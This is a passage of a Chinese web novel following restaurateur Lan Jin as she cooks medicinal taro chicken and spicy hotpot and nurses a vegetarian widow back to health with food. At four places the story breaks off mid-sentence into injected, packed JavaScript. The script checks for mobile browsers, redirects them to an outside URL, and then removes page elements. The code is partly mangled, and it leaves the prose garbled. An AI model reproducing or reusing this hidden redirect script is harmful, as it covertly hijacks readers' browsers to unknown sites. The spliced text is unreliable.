猪油，菜籽油，和从溜达鸡身上割下来的黄鸡油，一起炼成了炒鸡用的底油。 溜达鸡天生地养，浑身健硕。 这肉不至于过肥无味，也没有过瘦发柴。 又是现杀现做，没有一丝异味。 一块下去，留下满嘴醇香，连鸡脯子肉都软滑鲜美，一点也不干柴。 坐他对面的友人直向大盆中的配菜下手，夹起一根金黄的物什放入口中： “这是什么？香甜软糯，吃起来面面的，还吸足了辣味！” 如小猫巡视领地一般，四处转悠的蓝锦接口道： “这是沙参。客官忘了，菜单子上写了，我家这可是药膳芋儿鸡。吃了能清肺祛寒、滋阴补阳。最了不起的，是它好吃呀！” 桌上的食客这才想起来，是啊，菜名里头是有药膳来着。 可是，怎么和从前吃过的药膳大补汤水不一样？ 不是寡淡无味的白汤，也不是清苦难耐的素斋菜。 大家细细咂摸，那股子辣劲背后，确实有一丝极浅淡的药香。 和芋儿鸡的麻、辣、鲜、烫融为一体，完美承担了以药调味的角色。 这也是托琴姐姐母亲的福，一直定期给蓝锦送药材。 蓝锦挑了沙参，党参，又佐以当归，和辣椒、花椒一起，烈火烹炒。 校尉也夹起一根沙参来尝：“味道不输鸡肉，险些错过了。” 蓝锦笑道：“芋儿鸡芋儿鸡，芋儿也是重中之重，也不能错过哟。” 圆滚滚的小芋头叫热油炸过，此刻打眼一看，还是完整的。 可用筷子一夹一戳，才知其中绵软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541999|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “又糯又滑，咸辣味又刚刚好。掌柜的如何寻摸出这些妙物的，这比沙参还好吃！” 客人轻轻使力，圆圆的小芋头，懒洋洋地碎成几瓣。 夹起一块，蘸些葱花、榨菜碎和芝麻粒，咯吱咯吱地抿着嚼着，从舌尖一路爽滑到嗓子眼。 那种绵滑的口感，让人好不快活！ 若说这一盆中谁最吸汁入味，当属豆皮。 纤薄的豆皮，间或鼓起一个个小泡，便更加吸味。 长长的一条，滴落的红油把白米饭都浸得红透。 用筷子裹着一坨米，一齐夹入口中。 ——唔，若是蓝锦会读心，此刻就该看穿校尉的心底话：幸福！ 大开大合的麻辣和荤腥刺激之后，再把筷子伸向一贯扮演清淡角色的莴苣。 校尉只吃过盐拌莴苣丝、清炒莴苣片，哪曾想到莴苣也有今日的待遇。 切得极薄的莴苣片，浑身裹满辣油。 青绿的脉络上，缀着小火慢煎的糊辣椒。 放进嘴里，爽脆的咀嚼声充当号角，一遍又一遍地告诉吃客，何为“辣鲜”。 校尉一桌，人人吃得肚儿溜圆，几乎快要舒服地翻起白眼。 奈何蓝老板出手实在大方，这一盆芋儿鸡，还剩下满满一层肉和菜。 大家你劝我，我劝你，谁也不舍得，剩在这里就此走掉。 仍然顽强地选择相互鼓励，彻底吃了个肚皮爆炸，艰难地扶墙而出。 “蓝掌柜，我下次，下次还来啊！这道菜千万别撤下了啊！” “我也来！还要今天这个味道的！” 蓝锦见缝插针，从柜台上的敞口碟子里，拿起几个牙签插着的话梅果脯，递与大家： “客官清清口，今日的菜色，可还有什么不合口的地方？您说我改！” “怎么会？合口极了！” “那就太好了。我们蓝记酒楼正在发展至尊会员，诸位可愿试试？比方说，您在我们家每月存上三十两银子，那便是初级至尊会员。若存上五十两......” “给我存一百两！”校尉当下拍出一张银票。 “我要存一百二十两！” “我存二百两！” 竟攀比起来了。 蓝锦一一记录在案，小算盘打得飞快，好言好语地送走了这群发饭昏的至尊会员。 眼下名声打得响，酒楼的现金周转也愈发宽裕，可谓出师大捷。 蓝锦笑得像是看见猎物的小狐狸，眉梢眼角都是喜色。 ——回家告诉外祖母，看她还对不对自己说风凉话。 “阿瓜，待会往七尺巷走一趟，从东壁头数第三户的顾婶子家，去给她家送个食盒。” 若说蓝记酒楼开张，谁最高兴，除了暗自窃喜的萧仁禹，当属曾把闺女洛修远托管给蓝记小馆的顾满年。 受此事启发，蓝锦打算做“妈妈菜”外送。给酒楼附近的住户提供几菜一汤的套餐，解决家里孩子的嗷嗷待哺难题。 如今算是试运营，食盒里装着清炒虾仁、金玉满堂和瓦罐汤。 还有一小盒不放盐的鸡脯子肉，若是碰到那只拦路打劫的猫咪，也让人家知道，自己没忘了它。 蓝锦笑盈盈地交待，忽听得一个声音： “就是这家掌柜做出的臭粉？” 57. 第57章 辣火锅[捉虫] 这样带着找茬气质的客人，蓝锦并不是头一次见。 不待她动作，悟雅便上前，带着蓝记招牌式的笑容，把人引到了窗边安坐。 来人呷一口热茶，呸呸地吐了两口茶沫子： “你们家掌柜的何在？” 蓝锦微笑着迎上去：“客官有什么想吃的？” 来人胡子一吹：“只怕我想吃，你做不出！” 蓝锦依旧和颜悦色：“客官想吃什么样的菜色，尽管说来。” 来人把茶盏重重一搁： “我要那种不是天上飞的，不是地上爬的，不是水里游的。不是煸，不是炸，不是煎，不是烤。不是只有一种滋味的，不是任何食经记载的。最重要的是，不是任何食店做过的菜色！” 他见蓝锦面不改色，没被吓住，心中不大满意： “哎！还得好吃，不能是打着亲人故旧做成的旗号，硬说美味的。” 这一长串的话一说完，悟雅的眉头皱得老高。 她心里打鼓，偷眼去瞧自家掌柜。 ——世上哪有这样的菜色？只怕是对手专门雇来找茬的吧！ “哎，我说你这人，要吃饭便吃饭，不吃便迈出门去。这是专门来消遣我们的吗？” 来人彷佛料到她们是这种反应，得意一笑： “以臭粉做噱头揽客，果然是哗众取宠之流。没有什么真本事，天都城也不必多你们这一家。” 蓝锦笑眯眯地拦住悟雅，从容道：“客官略坐，稍后便给您上菜。” 来人十分惊讶，一瞬便懂了。 ——这只怕是小娘子面皮薄，怕当场下不来台。 假作答应，期盼捱到他自己走人。 他才不走。横竖酒楼有好茶水待客，他便在这喝上一壶又如何？ 这小娘子不会做生意，上菜前奉这么好的茶水，也不算算成本几多！ 蓝锦一闪身进了后厨，往库房去。 拿了过几天要主推的食材，极有章法地忙了起来。 一阵“刺啦啦”的油沸声响起，满屋皆是霸道的气味。 “客人，您的菜来了！”一大口铜锅端上了挑剔客人的餐桌。 锅里是红得发乌的滚滚浓汤，晶亮的牛油激烈地跃动着。 一份份小碗装的食材一齐摆上桌子。 刚杀的鳝鱼片还挂着鲜艳的血，大片的黑毛肚堆成小山，粉嫩的鸭肠蜷曲盘旋。 还有猪脑花、白千层肚、嫩肉片、香菜猪肉丸、鸭血...... 素菜有干贡菜、泡泡豆干、豆皮...... 蓝锦率先把一碟花椒小酥肉摆到来人的面前： “客官，这些菜还要煮一会，您先尝尝这个开胃小点。” 小酥肉色泽金黄，面衣炸得蓬松酥脆，还有一股强烈的椒麻酥香。 客人还未来及挑剔它是炸的，就鬼使神差地夹起一条放进嘴里。 酥、麻、鲜、香、咸、嫩，鲜美的肉汁越嚼越爆开。 真的不是只有一种味道！ 来人完全忘了一开始设下的规则，接连吃了好几条。 旋即察觉到自己的失态，硬是放下筷子，嚷道： “这是炸货，你输了。” 蓝锦笑了笑：“客官，您别急呀。” 红汤在锅中的九宫铁格子里咕嘟不停。 蓝锦拿公筷夹起一条小酥肉，放到汤里一涮，搁在对方碗里。 一尝，好辣！好麻！好鲜！ 小酥肉的表皮略微泡软，裹了一层辣汤。 第一层是绵软的，再接下来便是酥脆。 辣味逼得中心的咸鲜肉汁更加浓烈，肉里藏着的花椒又趁势带来一股麻香。 客人立即来了兴趣，再次找出一颗花椒仔细观察。 这种花椒是偏浅的大红色，椒粒不大，麻味不同于一般中药铺子里常见的花椒，壳子也更软。 蓝锦瞧着他的动作，心中下了结论：这人不是老饕，便是同行。 “客官，这是大红袍花椒，西南那边走商来的品种。难能一见，我可是花了大价钱的。” 来客微微点头，心中的佩服已多了几分。 恰逢锅中再度煮沸，蓝锦边夹菜边一一介绍。 来客却不急着品尝，而是把筷子伸向了那碗蛋炒饭。 蛋炒饭最能体现厨子的基础。 眼前这碗，米粒弹滑，烟火气极浓。 块头不小的鸡蛋有着恰到好处的咸味，青绿的葱花增添了几分嚼感，又带来一些清新的香气。 “不错，不错。可惜，这又是炒的，不合要求。” 蓝锦从容盛出一大勺蛋炒饭，放到小碗里。 又夹上一块煮出了蜂窝状小洞的鸭血，捣碎拌匀。 “客官尝尝这个鸭血拌饭。” 来客舀起一大口，放进嘴里。 冷锅慢煨至熟透的鸭血，每一个小洞都含满了锅底的鲜味。 母鸡和大骨炖出来的汤底，此刻水落石出一般，彰显自己的存在。 鲜感和嫩感裹挟着鲜美入味的米粒，在口中激荡、碰撞。 来人不语，只是一味地吃得不剩一粒米。 蓝锦耐心讲解各种火锅食材的炖煮时长。 毛肚和鸭肠最好七上八下。上了浆的厚肉片，时间便久些。 每个小格子里都热闹非凡。来客渐入佳境，逐个尝了。 大片的黑毛肚脆生生的，表面的突起挂住了浓鲜辣香的红汤，嚼起来厚实有味。 粉嫩的鸭肠一经煮熟便成了粉白色，咬在嘴里“咯吱”作响，又有一股自己的鲜味。 更不要提香菜猪肉丸子。 他是很少吃猪肉的人，如今吃到这种鲜美爽弹的肉丸，再说不出来“豕肉价贱”的话。 掌柜的确实有些巧思，不纯是哗众取宠。像这个“虾滑”，也叫她做成了肉丸的模样。 来客疑道：“如何想到这种做法？可是食材不够新鲜？” 蓝锦摇头轻笑：“虾滑的售价，只比带壳河虾的贵。我已有足够的赚头，何必自毁招牌？” “做虾滑不过为了方便食客，一不必剥壳子脏手，二来满口虾肉更为满足，三来便于调味。客官吃着不合口吗？” 合口，确实合口。连脆弹的口感都有新奇趣味。 来人吃得满头大汗，嘴唇都要肿了。 蓝锦劝他浅尝辄止，他却不依。 “我再瞧瞧这些素菜。” 贡菜经辣锅涮煮而不改底味，脆得像在嘴巴里放鞭炮。 在陈醋和芝麻油的料碟里一滚，酸味的激发，使它鲜味十足。 泡泡豆干是最别致的一个。 它吸味道，煮出来的大片泡泡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542000|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释了它的名字由来，叫它连内里都染上辣鲜。 薄而韧的口感，嚼劲十足，弹性十足，叫人欲罢不能。 不管是单独送进嘴里，还是裹着蛋炒饭吃，都让人十分陶醉。 来客一阵风卷残云，吃到此刻才停下来，却又忍不住回味。 新鲜宰杀的鳝鱼片，肉隙里都往外滋着独特的鲜味肉汁。 最后细细咂摸，竟还有股甜鲜味！ 没想到软嫩的鳝鱼竟和辣味这般相配。 没有一丝河腥气便罢了，竟然久煮不老，舌头一抿就要化在唇舌间。 煮了小半个时辰的猪脑花，也是全然褪去了血腥味。嫩滑如豆腐花，且也鲜美得几乎有甜味。 蘸上鲜红的辣椒面，强势地占据唇舌。 辣！嫩！香！那种滋味，干净醇厚得让人近乎迷醉。 蓝锦在一旁，笑眯眯地等人吃完。 瞧他放下了筷子，又给他上了一壶温豆浆： “客官喝上一杯热乎的，护着胃肠，别辣坏了。” 热乎乎的豆浆一入口，又是另一种鲜甜。 温柔的暖意从喉咙到胃肠席卷而下，这一餐才算真正用罢。 “不错，你这个掌柜很有想法。不过嘛，倒也都是吃过见过的食材，不算完全合乎要求。” 来客终于想起了自己的架子，又矜持地端了回去。 “这些顿饭的烹饪手法、所用食材和味道，客官可能用一词一物概括？” “好比这些内脏下水，不是地上爬的，勉强算是山里跑的。有炸、有炒、主要是煮，这才组成了完整的一餐。” “这一餐旁人家没做过，食经里也没这样写过。我这菜色有个自己的名字：‘辣火锅’。” 来客失笑：“掌柜的虽做得一手好菜，也长得一张利嘴，颇善狡辩。” 蓝锦道：“虽则狡辩，也算应题，莫非客官说得出，这菜色仅有一味一材？” “我这辣火锅，旨在和而不同。若饮食一行的同僚，当面撞上；求同存异，也好过兵戈相见。客官说，对也不对？” 来客朗声大笑：“瞒不过聪慧的小娘子。没错，我确是汇贤居的东家，早就听过蓝记的名声。百闻不如一见，狄某受教了。” 狄思明学厨以来，师父手把手教的东西，他全都出色完成。 可师父说不清的东西，他却无论如何没法独自领会。 “我原以为自己算得上是一代大厨，不日便能承继师父的衣钵。” “先是蓝记小馆的螺蛳粉，如今又有蓝记酒楼的辣火锅。相较之下，我才知自己与蓝掌柜差距良多啊！” 蓝锦一笑：“不过拾人牙慧。” 狄思明摇摇头：“若非对食材有这般理解，如何能将他人的智慧融入自家？” 汇贤居的大东家，毕竟是天都菜第三代掌门大师的关门弟子。 他跑去新开的蓝记酒楼吃火锅，这消息一阵风似的，刮遍了天都城的大街小巷。 于是，原定于几日后推出的牛油辣火锅，被迫提前上岗。 不出三五天，天都城居民染着麻辣香气四处走动，成了寻常事。 这股香气吸引来了一位稀客——自从蓝记酒楼开张，就因为怕熟人碰见，少来光顾的萧仁禹。 “蓝小娘子，叨扰了，我有件重要的事，需要你的援手。” 58. 第58章 “二公子。” “二公子。” 鱼贯而入的仆妇，恭谨地向迈进田庄大门的萧仁禹行礼。蓝锦在他身侧，也狐假虎威地受了许多礼。 “二公子，您可来了！可曾请得好大夫？” 穿着鸦青衫子的鱼肠一直守在门外，撩开门帘子，请他们进去。 萧仁禹抬手一邀，请蓝锦先行。 又缀在后头扶住门帘子，生怕有些分量的织锦厚帘砸到蓝锦。 屋里头乌泱泱守着一群丫鬟，执巾的，捧盆的。 原该是忙而不乱的，此刻也有些六神无主。 碧波本在窗边守着，谨防窗子漏风。 见他们到来，唤人纷纷行礼，又快快道： “才刚进了些素羹，却也不奏效，醒了一时，按着心口说心慌，又昏沉过去了。一直发冷汗，都有些打摆子了，手也抖得握不住。” 她扭头看了床头一眼，这才压低声音，对萧仁禹他们道： “刚刚，竟似不识得我们一般......” 蓝锦探身瞧着床上面色苍白的贵妇人，着急道： “那得赶紧请大夫呀，我可不是大夫，别耽误了！” 萧仁禹伸手虚扶住她，答道： “不是头一回了。大夫也请过多回，言说是脾胃虚弱，气血两亏。开些四君子汤一类的方剂，她只厉声说不愿用，怪我们破了她的功德。” 心悸、出汗、发抖，甚至有些不通情理、神志模糊，看样子是严重的低血糖。 蓝锦一打听，知道她为了诚心念佛，常年吃斋。 又细细问了对方的日常起居，更加确定：这就是习惯性低血糖。 因着萧仁禹的默许，她从随身小包中，取出给小秋备着的麦芽饴糖。 兑了热水搅成糖水，叫人喂了下去。 不过一会儿功夫，蒋长昭便幽幽醒转。 她像是想走流程发脾气，一提气，胸腔中却找不到那种怒意。 她只冷冷道：“缘何叫我醒来？这是佛祖降下的神罚，该我受着的。” 蓝锦笑着上前： “巧了，夫人，这正是庙里的意思。今日佛祖叫我来到您跟前，这是佛缘。” “我又恰巧带着一位师太所赠的麦芽糖，这是佛意。今日这事，没有半分违拗佛祖的心愿。” 蒋长昭叫蓝锦说得一愣一愣的。 她从小只识得舞枪弄棒，上了战场只懂置人死地，一贯都是直来直去的。 若非如此，也不会在丈夫战死后，一时左了性，窝在佛堂里一条道走到黑。 蓝锦却是站起身，从容自若地安排上了。 她是做惯大掌柜的人，张罗起事情来有条不紊。 “大家先退出去为好。屋里围着这许多人，呼出的浊气也难耐，不利于病人恢复。” “远处的窗子也开些缝隙，叫新鲜的风吹进来些，好叫病人透透气。” 仆妇们看着萧仁禹，却见他点点头：“都照蓝娘子的意思来。” 当下屋里走了个干净，只剩下萧仁禹和蓝锦二人守着。 “夫人，我去给你做两道小菜，都是那位德高望重的师太爱吃的，如何？” 蒋长昭别扭地把脸转向里侧：“佛祖给我降下了神罚，我不能......” “夫人”，蓝锦使上了哄小秋的语气，“这不是神罚，你只是生病了。” 萧家田庄，虽说只是家中一处城郊庄子，可五脏俱全。 蓝锦在大厨房里洗涮切剁，极有章法，仆妇们皆瞠目结舌地瞧着。 不多时，丫鬟们就捧着一份份碗碟，行云流水地走进正房。 小几上林林总总摆满了高低碗盘，蓝锦候在床边，亲自介绍： “这是那位师太盛赞过的银丝面，滋味醇厚，鲜而不腻。特别是磨得极细的白胡椒，很有独特的风味。” 其实不待蓝锦说，蒋长昭就能察觉出这碗面的不同。 鹅黄色的底汤是浓郁的，厚得发白。 上头漂着几片碧绿的嫩青菜心，在白汤的衬托下越发勾人食欲。 还有一股令人无法忽视的鲜浓香味，与它清淡的外表毫不相符，霸道地冲进鼻腔。 蓝锦眼含鼓励，满脸都是“尝尝”，“尝尝看”。 鬼使神差地，蒋长昭就夹起了一筷子。 纤细的面条雪白滑嫩，其上果然有细细密密的胡椒小点，颜色却不很深。 刚一放进嘴里，初觉寡淡无味。 可嚼了几下，那股子藏在面条深处的咸鲜香气，就在嘴里四散开来，唤醒了舌面的每一处味蕾。 蒋长昭越吃越主动，后来甚至自己拿小银勺，去舀碗里的汤喝。 自从第一勺汤水入口，蒋长昭就没能停下喝汤的动作。 这汤太过鲜美，复杂醇厚的滋味，从舌尖一直蔓延到喉头。 让蒋长昭来说，这一碗银丝面，最美味的当属汤。 她心头疑这不是素食，却莫名没有问出口。 或是饥饿的本能，在美味至极的食物面前占了上风，或因这是“师太爱吃”的美食，叫她放过了自己。 蓝锦却好像看出了蒋长昭的疑惑，接口道： “这是我用了自酿的味极鲜，又使了晒干的鸡腿菇、鸡纵菌这类山菇，配上豆芽菜，吊的素高汤。虽是素汤，鲜美却更胜鸡汤。夫人可还满意？” 满意，自然是满意。 蒋长昭面上不显，却也不再说任何抬杠的话，只一味把这碗面吃得精光。 满屋子的人都目瞪口呆——夫人用饭何时这样顺当过！ ** “师太，还要谢谢你大老远跑一趟。放心好了，待此间事了，我便收拾出无数美味佳肴，保准叫你连吃带拿！” 蓝锦挽着远道而来的妙清，笑得真切。 妙清悄悄一指旁边的萧仁禹，笑道： “快马大车的，我何曾受了一点罪？只当是又找了个机会，来享用小娘子的手艺，我高兴还来不及。” “这又是积德行善的事，就连我师姐也说不出拒绝的话来。” 一行人浩浩荡荡地走进萧家田庄。 蒋长昭早已在正堂候着，见着人来，立刻起身行了佛礼。 妙清也郑重回礼，念了句佛偈，做出一副德高望重的样子来。 转过身时，在旁人看不见的地方，偷偷冲蓝锦吐了下舌头。 “今日二位相逢，即是有缘。师太还曾在大慈音寺讲经的，与夫人定有许多话讲。我便把地方留给二位， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542001|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去灶间为二位备些饭菜。师太放心，都是你爱吃的。” 蓝锦笑着对正在安坐客套的两人说道。 妙清来这一趟，就是为了这餐饭，笑得眼睛都眯起来了。 直说：“去吧，你们去吧，只管放心。” 蓝锦退出门外，回头却见萧仁禹也亦步亦趋地跟了来。 她疑道：“我要去厨房做饭的，你跟来做甚？” 萧仁禹答道：“我总不能和她们讲佛吧？” 也是，蓝锦不再管他。全心扑到自己要做的菜色上，在心里规划。 蒋长昭倒是心里有些惴惴。 她其实不大通佛理的！ 往常，她只是在佛堂里念念有词。 可她从小就畏惧书本礼义，佛经比起那些来，只有更深奥的。 那些佛经上的字眼，单独放着还认识，连在一起实在难懂。 故此，她才严守吃斋的戒律，只愿弥补一二她那无知的诚心。 眼下怎么办，还要跟师太谈佛。 蒋长昭仿佛站在女学学堂门口，只等里头的先生挨个叫人进去背书，冷汗涔涔地湿了满背。 “夫人，可曾见过腌笃鲜里头的笋子？往常都是春笋才叫人追捧，煸炒、油焖、清汤，无一不鲜。” “冬笋就朴拙了些，个头也笨重。都说做腌笃鲜，非春笋不得其味。实际，冬笋也能做得！” “便拿金华的火腿、绍兴的黄酒、一指厚的咸肉。冬笋切了滚刀块，什么调料都不用加，只用咸□□出各味食材的鲜味。” “啧啧，那味道！当然，比不过蓝锦娘子做的菜。” 蒋长昭没想到，妙清师太竟是跟她谈了半天饮食经！ 天南海北的菜色都说得详细，末尾还念念不忘，总要夸一下蓝锦的手艺。 妙清口水倒流了满腹。焦急等菜的间隙，只能靠说过过嘴瘾。 因着蒋长昭自觉不大通佛理，自然是妙清如何言语、如何行事，她都全盘吸纳了。 所以佛门中人说起咸肉头头是道，谈佛实际是讲饮食经，她便也云里雾里地接受良好了。 “师太，夫人，谈得如何？” 蓝锦笑容满面，端着一碟滋啦作响的烧椒豆花牛柳走了进来。 “很好！很好！夫人，是吧？”荤香气扑鼻，妙清激动得搓手，嘴角恨不得飞到太阳穴。 蒋长昭乖巧点头应是。 烧椒豆花牛柳、粉蒸排骨、清炒红苋菜、咸蛋黄焗南瓜条、豆腐汤，林林总总摆满了一桌。 妙清招呼了一句蒋长昭，也不再客气。 上来就挖了一大勺牛柳，连带着鲜嫩的豆花。 一齐拌到饭里，连肉带饭一口吞下。 “妙啊！妙啊！咸辣油香，青椒竟能如此鲜美。我分不出是豆花嫩，还是牛柳嫩！小娘子的手艺又有精进。” 蓝锦笑盈盈地看着受到了冲击的蒋长昭，心想：这才哪到哪，这还没看到师太吃肘子的模样呐。 这一餐饭吃得宾主尽欢。 “芥子须弥，处处是佛，夫人何必拘泥一处一理？” “当然，你若是想不通，尽管再来请我，我还来陪夫人用佛饭！” 妙清叫人送到了门口，还执着蒋长昭的手嘱托。 59. 第59章 自从蓝锦把妙清请来，蒋长昭的日常起居就全然换了一个风格。 “夫人，这是蓝小娘子做的鸡汤抄手、萝卜丝墩子、水晶虾饺。” 从小佛堂走出来的蒋长昭，满意地看着面前的朝食。 舀了一勺鲜美的鸡汤，唔，清新美味。 “蓝小娘子可曾说了要住到几时？” 蒋长昭来这田庄，本身就是要修身养性，一心礼佛的。 如今经过妙清师太的开导，她决心不再做些苦其筋骨的事，心中有佛即是带发修行。 “还未曾透出口风。不过，蓝锦娘子在天都城有个大酒楼，忙得厉害，估摸也住不了多久。” “就是那个蓝记，早先三姑娘带您去的，那家有醉鹅的小馆子，就是她开的。” “只是叫梁家认回去了，这才关了店......” 碧波指挥着仆妇撤下碗盘，娓娓道来。 “梁家？哪个梁家？”蒋长昭搁下漱口的杯盏，拿起白帕擦了擦嘴。 “就是兰佩娘子的母家呀，梁老夫人家。蓝锦娘子，是梁老夫人的外孙女。” “啊呀！她竟是佩儿的女儿，怎么没人告诉我这件事？快快，快把她请来！” 碧波人有些犹豫，支吾道： “只是，只是......二公子一早便请蓝锦娘子，一道用了朝食。如今去东边的田梗上，看......散养的跑山鸡了。” 蒋长昭一愣，旋即反应过来，说道：“哎呀，很该如此，很该如此！” 春日的太阳不会过分炎热，打到人身上只觉暖烘烘的。 蓝锦脸颊上的小绒毛，叫阳光照得金灿灿的，发着光。 萧仁禹想说什么，又一直踌躇不定。板着脸，东拉西扯些其他有的没的。 “这些鸡很爱吃肥虫子。”萧仁禹说道。 蓝锦倒是真的挺兴奋，一心一意是来看溜达鸡的。 这些鸡，有的起码长够了三年，浑身的腱子肉凹凸有致，鼓囊囊的。 庄子上的仆妇养得精心，先叫它们漫山遍野地跑上一段时间，吃草籽野虫。 再关进笼子里喂些谷粮添膘，让它们长成膘肥体壮的样子。 “这鸡炖汤一定好吃，鸡油金黄的，鸡肉嫩嫩白，咬上一口，满嘴都是肉香肉鲜。” 蓝锦指着一只单脚站着的母鸡，大声地快乐畅想。 恶魔低语吓得鸡赶紧一溜烟跑了，远离这个是非之地。 萧仁禹对着看管养鸡场的仆妇信手一指：“这几只待会送到厨下。” 蓝锦此刻已经跑到另一边。 她又看上了另一只几月龄的小嫩鸡。打清汤火锅，蘸小米辣酱油醋碟，啧啧，鲜甜。 萧仁禹一手握拳，放在嘴边清咳一声： “蓝小娘子，多谢你走这一趟，让我母亲不再吃素。还撇下了酒楼的生意......” 蓝锦摆摆手： “嗨，这算什么？吃素不如荤素搭配。萧郎君你若着意打听，就该发觉：茹素的人一般都更短寿，身体也不如其他人康健。” “何况酒楼有汝月和悟雅撑着，我这是做好事，也是积福积德的。” 萧仁禹面上一片薄红，更觉自惭形秽。二人又静默地走了一会，他终于鼓起勇气： “蓝小娘子，实在对不住，你如此赤诚待我，还......我......我骗了你一件事，是......” “二公子，蓝娘子！夫人请你们即刻过去。” 碧波气喘吁吁地奔过来。 夫人在屋中走来走去转了几圈，脸色几经变换，终于还是道： “不行，这样对不住佩儿......碧波，你这就去寻他们二人回来。动作要快！也不要大动干戈，叫旁人都瞧见。” 使小丫鬟怕不牢靠，碧波只得自己上阵，这一路跑得步步生风，简直飞起来了。 蓝锦瞧着她满头细汗，以为出了什么事。 马上撇下萧仁禹，快步迎上去：“怎么了？那快回去罢！” 蒋长昭正对着一盆月季发呆，一转身见了蓝锦，眼眶竟有泪花翻涌。 “夫人，可还是觉得有什么不对劲的地方？” 蓝锦瞧出来了，蒋长昭就是用饮食作为自我惩罚的手段。 生活中经历了巨大变动，一时走不出来那种失控感。 只能控制以为是全由自己作主的部分，来重新获得掌控感。 可是，那只是食物，不是武器，不该做朝向自己的刀尖。 “没有了，没有了。你瞧，我今儿用了一碗鸡丝面，虾饺也吃了好些。” “你这菜心选得香嫩极了。碧波告诉我了，萝卜丝墩子空口吃也酥，泡汤吃也鲜美。我一试，果真如此。” “今儿一早上的食量，竟比得上十几年前，我同你母亲一起打马球时的光景了。” 蓝锦疑惑地瞧着突然对自己无限亲昵的蒋长昭。她的母亲？ “我同你母亲，是最最要好的姐妹！我不许她同别人这么好的，只能跟我第一好。” “你出生那年，我便强行叫她应了我，要你来做我家的媳妇。你长得，活脱脱就和佩儿一个模子刻出来的。” “唉，可那时候我不懂，女子嫁人，难道是什么光鲜的事吗？年轻时显不出来，都道浔阳侯是青年才俊，谁料日后能做出那种事？” “像我也不好，嫁个武夫，一朝撒手去了，倒不如换我战死，把这一大摊子讨债鬼留给他......” 蓝锦有点慌了，这都是什么跟什么？ “夫人，我......” “瞧我，许久未见故人，一时有些激动了。” “别怕，梁府认孙之后，怀瑾就同我说过，说是在外奔波的时候伤着了，记不清事，要将养着。我才没上门叨扰。如今可养回来些？” “身子还好，事情还是......” 蒋长昭拍了拍她的手，唤鱼肠去自己妆奁那取首饰。 一对鸡血红的红玉镯，她握着蓝锦的手，垫着丝帕，小心地给她戴上。 “不错，真是不错。这儿你待着不熟悉，多有不自在。何不请我到你的酒楼看看？” “我们瑾娘真是能干，佩儿知道了，不知有多骄傲。” 蓝锦如同踩在云端，云里雾里地叫一大群人裹挟着，回了蓝记酒楼。 兼任大堂经理的汝月立刻迎上来：“师父！你可回来了，这是......” 蓝锦走上前一步，将她拉到一边： 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542002|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是萧商......是萧公子的母亲。找个上好的厢房，叫人精心招待着。” 是悟雅亲自出面，麻利地点了几道菜。 蓝锦看着食单子，烧烤，麻辣烫，冒烤鸭......这是报复性补偿，专点些刺激的平民小食？ 没有法子，到时再附赠一些清鸡汤烫时蔬，留待她们清口吧。 蓝锦系了围裙，亲自到灶间忙活了起来。 烧烤本该是夜市小摊上的食物，蓝锦保留了它的野趣，仍旧串着竹签，用炭火旺旺地烤得滋滋作响。 搁在一个长方形的大白盘子里，底下垫着纸吸油，又雅致又美味。 每道菜都是特制的，格外做了微微辣和少油。 饶是如此，还是红艳艳的。 一道道浓墨重彩的菜色端上了桌，还没吃，就能闻到一股浓郁的孜然和胡椒香，干香十足。 麻辣烫则是用鸡汤和骨汤打的底，薄薄漂着一层红油，鲜香气却一点也不少。 冒烤鸭的油比麻辣烫的稍多，经过烤制的鸭子，表皮变得朱红。 叫漂满红油芝麻的汤汁一泡，肉隙里都沁着红。 蒋长昭依蓝锦的嘱托，提前喝了一碗汤，便向这些刺激的菜色下筷。 串了签子的烤串，是她从没见过的新奇东西。 她拿起一串肥瘦相间的眉毛肉，豪迈地放在齿间一撸，赞道： “焦香可口，嚼起来满嘴流油。我想起来了，我们行军时也这样吃烤肉，只是不如这个精致，也不如这个好吃。” 眉毛肉上布满分不清是什么的干料，牙齿一碰，复杂的香气便冲上唇舌。 吊龙串又是另一种滋味，它不是焦香挂的，是鲜嫩的。 